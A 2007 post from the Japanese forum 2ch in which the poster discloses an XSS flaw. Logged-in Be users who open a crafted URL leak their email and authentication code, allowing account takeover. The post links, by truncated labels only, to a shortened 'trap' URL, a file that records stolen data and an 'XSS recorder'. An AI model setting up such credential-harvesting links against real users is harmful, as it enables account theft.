07/11/27 23:22:25 EbtVATOs0● BE:270396454-2BP(2350)
俺こと脱帽は、先日のいつか忘れたけど2chにXSSの脆弱性を発見した。
今回は通常のウェブブラウザ（除く専ブラ）からBeにログインした状態で
任意のURLにアクセスするとBeのメアドと認証コードが漏れる脆弱性であり、
それによってアカウント乗っ取りやプロフィールの変更が可能になってしまう。
現時点で数箇所のCGIで同脆弱性を確認しているが、この限りではない可能性もある。
サンプルURLを貼って置くが絶対に悪用しないよう注意を促したい。
URLﾘﾝｸ(z.la) (短縮URL、罠なので踏む時は注意)
URLﾘﾝｸ(moyashi.sosite.jp) (盗まれた情報が記録されるファイル)
▼ 汎用XSS記録装置
URLﾘﾝｸ(moyashi.sosite.jp)
▼ 俺公式サイト
URLﾘﾝｸ(manabi.homeunix.net)